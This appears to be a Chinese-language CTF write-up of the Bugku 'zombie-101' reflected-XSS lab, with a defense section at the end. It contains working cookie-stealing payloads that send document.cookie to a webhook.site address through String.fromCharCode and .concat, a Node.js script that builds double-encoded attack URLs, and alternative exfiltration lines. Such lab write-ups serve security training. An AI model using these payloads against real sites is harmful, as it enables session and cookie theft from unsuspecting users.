1. 项目概述与核心思路拆解
最近在Bugku平台上看到一个挺有意思的Web安全挑战,题目叫“zombie-101”。这本质上是一个典型的反射型XSS(跨站脚本攻击)实战场景,但题目设计者加入了一些巧妙的过滤规则,让整个解题过程变得不那么直白。我花了些时间研究,发现它完美地模拟了真实环境中Web应用防火墙(WAF)对XSS攻击的防御,以及攻击者如何绕过这些防御。如果你正在学习Web安全,尤其是想深入理解XSS的绕过技巧和数据外带(Exfiltration)方法,这个靶场绝对值得一玩。
简单来说,这个靶场模拟了一个僵尸电影评分网站。它有两个核心功能:一个是对电影名称进行评价回显的
/zombie
端点,另一个是触发管理员机器人(Admin Bot)访问指定URL的
/visit
端点。我们的目标很明确:构造一个特殊的XSS Payload,通过
/zombie
端点注入,然后利用
/visit
端点让Admin Bot(模拟网站管理员)去访问这个被注入了Payload的页面。当Admin Bot的浏览器执行了我们的恶意脚本,我们就能窃取其Cookie,其中就包含了我们梦寐以求的Flag。
整个挑战的难点不在于发现XSS漏洞本身,而在于如何绕过靶场设置的字符过滤规则,并成功地将窃取到的Cookie数据发送到我们可控的外部服务器上。这要求我们对JavaScript语法、字符串构造技巧以及HTTP请求的发起方式有比较深入的理解。下面,我就把整个解题过程、踩过的坑以及最终的有效Payload构造方法,毫无保留地分享出来。
2. 靶场环境分析与信息收集
2.1 初始访问与功能点探测
拿到靶场地址(例如
http://49.232.142.230:14391
),第一步永远是信息收集。访问首页,页面通常比较简洁,我们需要快速定位所有可交互的输入点。
很快就能发现两个关键接口:
-
/zombie?show=:这是一个GET请求接口。参数show接收一个电影名称,页面会返回对该电影的“评价”。例如,输入/zombie?show=Night%20of%20the%20Living%20Dead,页面可能会显示“Wow, we really likedNight of the Living Dead!”。这种将用户输入直接回显到页面上的行为,是反射型XSS的典型特征。 -
/visit?url=:这也是一个GET请求接口。参数url接收一个地址。根据描述,提交后,一个名为“Admin Bot”或“Zombie.js”的模拟浏览器会去访问这个URL。这模拟了管理员查看用户报告链接的场景,是触发XSS的关键。
注意 :在实际操作中,一定要用Burp Suite、浏览器开发者工具的网络面板或者简单的
curl命令,仔细查看每个请求的响应头和响应体。有时关键信息(如CSP策略、Cookie设置方式)就藏在里面。
2.2 WAF过滤规则试探
知道有XSS注入点后,不能直接莽上去扔一个
<script>alert(1)</script>
。靶场通常设有过滤。我们需要系统性地试探哪些字符或标签被允许,哪些被阻止。
题目设计得很友好,它通过三种不同的响应文本,清晰地反馈了过滤结果:
- “Wow, we really liked ...” :这意味着Payload成功通过过滤,并且很可能被浏览器解析执行了。
- “Yeah, ... was ok” :这是一个模糊地带。Payload可能被部分过滤或修改,导致无法执行,也可能在某些条件下执行。需要进一步测试。
- “Sorry, ... was horrible” :这明确表示Payload被WAF拦截或过滤掉了。
我的测试方法是,先提交一些基础的测试向量,观察响应:
| 测试Payload | 响应 | 初步分析 |
|---|---|---|
<script>alert(1)</script>
| “Wow” |
基础
<script>
标签未被过滤,好消息!
|
<img src=x onerror=alert(1)>
| “Sorry” |
onerror
事件处理器或被
img
标签本身被过滤。
|
<svg/onload=alert(1)>
| “Yeah” |
svg
标签和
onload
事件可能被放行,但需要确认是否能执行。
|
‘
(单引号)
| “Sorry” | 关键发现1:单引号被过滤。 这会影响我们用引号包裹字符串。 |
+
(加号)
| “Sorry” | 关键发现2:加号被过滤。 这会影响字符串拼接。 |
`
(反引号)
| “Yeah” | 反引号(模板字符串)未被明确拦截,但状态不明。 |
“
(双引号)
| “Wow” | 双引号可用!这是一个重要的突破口。 |
.
,
=
,
,
,
()
| “Wow” | 点号、等号、逗号、括号都正常,为构造复杂Payload保留了空间。 |
通过以上测试,我们摸清了WAF的基本规则:它似乎采用了一个
字符黑名单
,主要拦截了单引号(
‘
)和加号(
+
)。对于HTML标签和事件属性的过滤可能也有,但
<script>
标签是畅通的。这给我们指明了一条路:只要避免使用单引号和加号,我们就能在
<script>
标签内编写有效的JavaScript代码。
2.3
/visit
端点的关键限制
在构造Payload之前,必须理解
/visit
端点的限制。尝试提交一个外部Webhook地址(如
https://webhook.site/xxx
),通常会返回错误提示:
Please provide a url with a hostname of: 49.232.142.230
这意味着,
/visit?url=
参数中的URL,其主机名必须是靶场服务器自身(
49.232.142.230
)。我们不能直接让Admin Bot访问我们的外部服务器。这增加了难度,因为我们需要先将XSS Payload注入到靶场服务器的一个页面上(即
/zombie?show=
),然后再让Admin Bot访问这个“被污染”的靶场页面。
然而,这里存在一个关键点:
同源策略(Same-Origin Policy)限制的是读取响应,而不是发送请求
。一旦我们的XSS脚本在Admin Bot的浏览器中执行,它就可以向任何域发起网络请求(如
Image.src
,
fetch
,
location.href
),尽管由于CORS限制,脚本无法读取外部域的响应内容,但请求本身会被发送出去。这对于数据外带来说已经足够了——我们可以把窃取的数据(如Cookie)放在请求的URL参数里,发送到我们的接收服务器。
3. Payload构造与绕过技巧详解
3.1 核心挑战:无引号与加号的字符串构造
我们的攻击目标是:让Admin Bot访问一个嵌入了恶意脚本的页面,脚本执行后,读取
document.cookie
,并将其发送到我们控制的Webhook服务器。
最简单的想法是:
<script>window.location=‘https://webhook.site/xxx?c=‘ + document.cookie</script>
但这里用到了 单引号 和 加号 ,触发了WAF规则,会被过滤。
因此,我们需要解决两个问题:
-
如何表示字符串
‘https://webhook.site/xxx?c=‘而不使用引号? -
如何拼接这个字符串和
document.cookie而不使用加号?
3.1.1 使用
String.fromCharCode()
替代引号
String.fromCharCode()
是JavaScript中的一个全局函数,它接受一系列Unicode码点(数字)作为参数,返回由这些码点对应的字符组成的字符串。例如,
String.fromCharCode(104, 105)
返回字符串
”hi”
。
我们可以将Webhook URL的每一个字符转换成对应的ASCII码(
‘h‘
是104,
‘i‘
是105),然后用
String.fromCharCode()
重新构造出这个字符串。这样就完全避免了在代码中直接书写引号包裹的字符串字面量。
转换过程示例
:
假设Webhook地址是
https://webhook.site/xxx?c=
。
我们需要写一个脚本(可以用Python、Node.js或在线工具)来转换:
webhook_url = “https://webhook.site/xxx?c=“
charcodes = [str(ord(c)) for c in webhook_url]
print(‘,‘.join(charcodes))
# 输出: 104,116,116,112,115,58,47,47,119,101,98,104,111,111,107,46,115,105,116,101,47,120,120,120,63,99,61
现在,
String.fromCharCode(104,116,116,112,115,58,47,47,119,101,98,104,111,111,107,46,115,105,116,101,47,120,120,120,63,99,61)
就等价于我们的Webhook URL字符串。
3.1.2 使用
.concat()
方法替代加号
在JavaScript中,字符串有一个
concat()
方法,用于连接两个或多个字符串,并返回新的字符串。
str1.concat(str2)
的效果等同于
str1 + str2
。
因此,我们可以用
.concat()
方法来拼接
String.fromCharCode(...)
生成的Webhook字符串和
document.cookie
。
组合起来 : 最终的JavaScript代码核心部分就变成了:
window.location = String.fromCharCode(104,116,116,...).concat(document.cookie)
这段代码完美避开了被过滤的
‘
和
+
。
3.2 完整Payload组装与URL编码
现在,我们需要把这段JavaScript代码放入HTML的
<script>
标签中,并作为
show
参数的值提交。
完整的Payload雏形是:
<script>window.location=String.fromCharCode(104,116,116,112,115,58,47,47,119,101,98,104,111,111,107,46,115,105,116,101,47,120,120,120,63,99,61).concat(document.cookie)</script>
但是,这里有一个至关重要的细节: URL编码与双重编码 。
-
第一层编码 :我们的Payload需要作为
/zombie?show=这个URL的查询参数值。在URL中,许多字符(如<,>,=,&,空格,%等)有特殊含义,必须进行百分比编码(URL encode)才能安全传输。例如,<变成%3C,>变成%3E。 所以,我们需要将整个Payload进行一次URL编码。 -
第二层编码 :这个编码后的URL,又会作为
/visit?url=参数的值。/visit端点会解码一次这个参数,然后将解码后的URL交给Admin Bot去访问。Admin Bot访问时,浏览器会对URL再次解码。因此,为了确保最终到达/zombie端点的show参数值是我们原始的Payload,我们需要进行 双重URL编码 。 也就是说,需要对Payload中原本需要编码的字符(如%本身)进行两次编码。例如,%第一次编码为%25,第二次编码时,这个%25中的%又会被编码,变成%2525。在实际操作中,最稳妥的方法是:先对Payload做一次完整的URL编码,得到字符串A;然后再对字符串A做一次完整的URL编码,得到字符串B。字符串B就是最终提交给/visit?url=的参数值。
实操心得 :很多在线URL编码工具或编程语言的
encodeURIComponent函数只做一次编码。手动处理双重编码很容易出错。我的做法是写一个小脚本,或者使用Burp Suite的Decoder模块,先编码一次,复制结果,再对结果编码一次。务必检查中间过程的%是否变成了%25。
3.3 利用外部服务接收数据
我们需要一个地方来接收Admin Bot发来的带有Cookie的请求。
webhook.site
或
requestbin.com
这类服务是绝佳选择。它们会提供一个唯一的URL,任何发往该URL的请求都会被记录下方法、头部、参数等信息,并且可以实时查看。
以
webhook.site
为例:
-
打开
https://webhook.site。 -
它会自动生成一个唯一的URL,格式如
https://webhook.site/01e9c89e-14c3-4960-a3eb-c1c06e6fdda6。 -
我们在这个URL后面加上查询参数,比如
?c=,用于接收Cookie。所以最终用在Payload里的Webhook地址就是https://webhook.site/01e9c89e-14c3-4960-a3eb-c1c06e6fdda6?c=。
重要提示
:确保你的Webhook地址是
https
的,并且路径正确。有些靶场环境可能对协议有要求。
4. 完整攻击链与实操步骤
4.1 步骤一:生成最终的攻击URL
我们可以手动拼接,但更推荐写一段简单的脚本(Python或Node.js)来自动化这个过程,避免编码错误。
Node.js 示例脚本:
const webhookBase = ‘https://webhook.site/01e9c89e-14c3-4960-a3eb-c1c06e6fdda6‘;
const webhookUrl = webhookBase + ‘?c=‘; // 接收参数c
// 1. 将Webhook URL转换为String.fromCharCode参数
const charCodes = [...webhookUrl].map(c => c.charCodeAt(0)).join(‘,‘);
// 2. 构造XSS Payload (注意避免使用单引号,这里用反引号包裹字符串,但最终Payload里没有引号)
const payload = `<script>window.location=String.fromCharCode(${charCodes}).concat(document.cookie)</script>`;
// 3. 对Payload进行一次URL编码,作为 /zombie?show= 的参数
const encodedPayload = encodeURIComponent(payload);
const zombieUrl = `http://49.232.142.230:14391/zombie?show=${encodedPayload}`;
// 4. 对zombieUrl进行第二次URL编码,作为 /visit?url= 的参数
const finalEncodedUrl = encodeURIComponent(zombieUrl);
const finalAttackUrl = `http://49.232.142.230:14391/visit?url=${finalEncodedUrl}`;
console.log(‘最终的攻击URL:’);
console.log(finalAttackUrl);
console.log(‘\nPayload内容:’);
console.log(payload);
运行这个脚本,你会得到类似下面的最终URL:
http://49.232.142.230:14391/visit?url=http%253A%252F%252F49.232.142.230%253A14391%252Fzombie%253Fshow%253D%25253Cscript%25253Ewindow.location%25253DString.fromCharCode(104%252C116%252C116%252C112%252C115%252C58%252C47%252C47%252C119%252C101%252C98%252C104%252C111%252C111%252C107%252C46%252C115%252C105%252C116%252C101%252C47%252C120%252C120%252C120%252C63%252C99%252C61).concat(document.cookie)%25253C%25252Fscript%25253E
注意观察
%253A
、
%252F
等,这就是双重编码的结果(
%
被编码为
%25
)。
4.2 步骤二:发起攻击并等待回调
将上面生成的
finalAttackUrl
完整复制,直接粘贴到浏览器的地址栏中访问,或者使用
curl
命令:
curl “http://49.232.142.230:14391/visit?url=http%253A%252F%252F49.232.142.230%253A14391%252Fzombie%253Fshow%253D%25253Cscript%25253Ewindow.location%25253DString.fromCharCode(104%252C116%252C116%252C112%252C115%252C58%252C47%252C47%252C119%252C101%252C98%252C104%252C111%252C111%252C107%252C46%252C115%252C105%252C116%252C101%252C47%252C120%252C120%252C120%252C63%252C99%252C61).concat(document.cookie)%25253C%25252Fscript%25253E”
访问后,如果服务端正常,通常会返回一个简单的成功消息,表示请求已提交给Admin Bot。此时,你需要快速切换到你的Webhook.site页面,刷新并等待新的请求出现。
4.3 步骤三:从Webhook捕获Flag
在Webhook.site的控制面板,你应该会很快看到一个新的请求记录。点击查看详情,重点检查两个地方:
-
URL参数
:查看请求的URL,我们的Cookie应该出现在
?c=参数后面。例如,URL可能显示为https://webhook.site/01e9c89e-...?c=flag=wctf{...}。 -
请求头
:查看
Cookie请求头,Flag通常直接以Cookie的形式存在。
你会在参数或Cookie中找到类似
flag=wctf{c14551c-4dm1n-807-ch41-n1c3-j08-93261}
的内容,这就是本题的Flag。
5. 深度技术解析与扩展思考
5.1 为什么
String.fromCharCode()
和
.concat()
能绕过?
这个靶场的WAF规则设计得非常经典,它模拟了现实中过于简单或配置不当的WAF。很多初级WAF规则只是简单地黑名单匹配
<script>
、
onerror=
、
‘
、
+
等常见危险字符或字符串。
String.fromCharCode
和
.concat
不属于常见XSS Payload字典中的高频词,因此可能被放过。
更重要的是,这种绕过方式利用了JavaScript语言的灵活性。它不依赖任何HTML事件属性(如
onload
,
onerror
),也不依赖
eval()
等敏感函数,仅仅使用了最基础的字符串操作和导航功能,因此隐蔽性相对较高。
5.2 其他可能的绕过思路探讨
虽然上述方法已经成功,但了解其他思路有助于应对更复杂的环境:
-
利用反引号(模板字符串) :测试发现反引号返回“Yeah”,状态不明。如果可用,我们可以尝试:
<script>window.location=`https://webhook.site/xxx?c=${document.cookie}`</script>这比
String.fromCharCode简洁得多。但需要确认反引号是否真的允许执行,以及${}表达式是否被解析。 -
使用
String.prototype.replace或数组join:如果.(点号)可用,我们可以用其他方式拼接字符串。// 使用数组join <script>window.location=[‘https://webhook.site/xxx?c=‘, document.cookie].join(”)</script> // 注意:这里数组字面量用了单引号,如果单引号被过滤则不行。可以用双引号或反引号试试。 -
使用
location对象的其他属性 :不一定非要window.location进行跳转。用new Image().src发起一个GET请求也是常见的数据外带方式,且不会导致页面跳转,更隐蔽。<script>new Image().src=String.fromCharCode(...).concat(document.cookie)</script>但需要注意,如果图片加载失败,某些浏览器可能不会发送请求。
window.location则更为可靠。 -
分块编码与组合 :如果WAF还过滤了
script、fromCharCode等关键词,可以考虑将关键字拆散,利用HTML解析特性或JavaScript语法技巧重新组合。例如,使用<scr+ipt>,或者利用eval(atob(‘…‘))执行Base64编码后的代码(前提是eval和atob可用)。
5.3 关于Admin Bot与同源策略的深入理解
这个靶场巧妙地利用了同源策略的“单向性”。Admin Bot(模拟管理员会话)访问被注入的页面,该页面位于靶场域名下。XSS脚本在该域下执行,拥有该域的完整权限(包括读取该域的Cookie)。虽然
/visit
端点限制了Admin Bot只能访问同域URL,但脚本执行后发起的
出站请求
是不受同源策略禁止的。同源策略禁止的是
跨域读取响应
,而不是
跨域发送请求
。
因此,我们的Payload通过
window.location
或
new Image().src
向外部Webhook发起一个GET请求,并将Cookie作为URL参数附加,这个请求是完全可以发出的。Webhook服务器会收到这个请求,并在日志中记录下完整的URL,从而我们就能看到Cookie内容。这就是“盲打XSS”或“XSS数据外带”的基本原理。
5.4 防御视角:如何防范此类攻击?
从开发者和防御者的角度看,这个靶场暴露了几个关键问题:
-
不充分的输入过滤与输出编码
:WAF仅过滤个别字符是远远不够的。正确的做法是,根据数据输出的上下文(HTML正文、HTML属性、JavaScript、URL),进行相应的编码或转义。例如,输出到HTML正文,应对
<,>,&等进行HTML实体编码;输出到HTML属性,还要对引号编码;输出到<script>标签内,需进行JavaScript Unicode转义。 - 过于依赖黑名单 :安全的策略应该是“默认拒绝,显式允许”(白名单)。对于电影名称这类输入,可以限制为字母、数字、空格和少数标点,而不是试图过滤所有危险字符。
-
设置安全的Cookie属性
:如果Flag所在的Cookie设置了
HttpOnly属性,那么JavaScript就无法通过document.cookie读取它,XSS窃取Cookie的攻击就会失效。这是防御XSS窃取会话标识符最有效的手段之一。 -
实施内容安全策略(CSP)
:一个严格的CSP可以阻止内联脚本的执行(
unsafe-inline),并限制脚本只能从可信源加载。这能极大增加XSS利用的难度。例如,CSP头script-src ‘self‘将只允许执行同源脚本。 -
对用户提交的URL进行严格校验
:
/visit端点虽然限制了主机名,但更好的做法是,不仅校验主机名,还可以校验URL路径是否在白名单内,或者使用一个完全独立的、无Cookie的“沙箱”环境来访问用户链接。
6. 常见问题与排查实录
在实际操作中,你可能会遇到一些问题。下面是我在多次尝试中总结的排查清单:
| 问题现象 | 可能原因 | 解决方案 |
|---|---|---|
提交
/visit
URL后无反应,Webhook收不到请求。
|
1. Admin Bot处理有延迟或队列。
2. Payload执行出错,未发起请求。 3. 双重URL编码错误,导致Admin Bot访问的最终地址不正确。 |
1. 等待1-2分钟再刷新Webhook。
2. 先在浏览器中手动测试
/zombie?show=
你的Payload(单次编码),用开发者工具控制台看是否有JS错误。
3. 仔细检查URL编码 。确保
%
被编码为
%25
。使用脚本生成URL最可靠。
|
Webhook收到了请求,但
c=
参数为空或没有Cookie。
|
1.
document.cookie
在该页面下为空。
2. Payload拼接错误,例如
concat
方法使用有误。
3. Cookie设置了
HttpOnly
(但本题没有)。
|
1. 确认靶场Flag确实存放在Cookie中。有时Flag可能在LocalStorage或其他地方。
2. 在本地用Node.js或浏览器控制台测试你的Payload逻辑是否正确。确保
String.fromCharCode
生成的字符串正确,且
.concat(document.cookie)
能正确拼接。
|
响应始终是“Sorry”,即使使用了
String.fromCharCode
。
|
1. Payload中可能混入了被过滤的其他字符(如测试时不小心留下的单引号)。
2. 靶场WAF规则可能更新或与你测试的不同。 3.
<script>
标签可能被某些正则过滤。
|
1. 逐字符检查Payload,确保绝对没有单引号和加号。
2. 尝试最简Payload:
<script>alert(1)</script>
,确认基础XSS是否仍可用。
3. 尝试不使用
<script>
标签,用其他标签和事件(如
<body onload=...>
),但注意避开
onerror
等可能被过滤的事件。
|
| 浏览器控制台显示“跨域请求被阻止”。 | 这是正常现象!我们的目的是 发送 请求,而不是 读取 响应。CORS错误只意味着我们无法用JavaScript读取Webhook的返回内容,但请求已经成功发出。你可以在Webhook端看到这个请求,这就足够了。 | 忽略浏览器控制台的CORS错误提示,直接去Webhook.site查看请求记录。 |
| Webhook地址失效或无法访问。 | Webhook.site的token有时效性(通常几天),或者网络问题。 |
重新在webhook.site生成一个新的URL,更新Payload中的ASCII码数组,重新生成攻击URL。确保使用
https
。
|
最后一点个人体会
:XSS绕过就像一场语法游戏,核心在于充分理解WAF的过滤逻辑和浏览器解析HTML/JavaScript的规则。
zombie-101
这个靶场提供了一个非常清晰的训练场,它用简单的规则(过滤
+
和
‘
)迫使你去思考JavaScript中字符串的多种构造方式。在真实世界的漏洞挖掘中,WAF规则要复杂得多,可能需要结合HTML编码、JavaScript编码、混淆、冷门语法等多种技巧。但这个靶场打下的基础——手动转换
String.fromCharCode
、使用
.concat
拼接、注意双重URL编码——都是非常扎实的基本功。下次遇到更复杂的过滤,不妨先静下心来,系统地测试一下哪些字符和关键字被允许,然后像玩拼图一样,用允许的“积木”拼出你想要的攻击代码。

390

被折叠的 条评论
为什么被折叠?



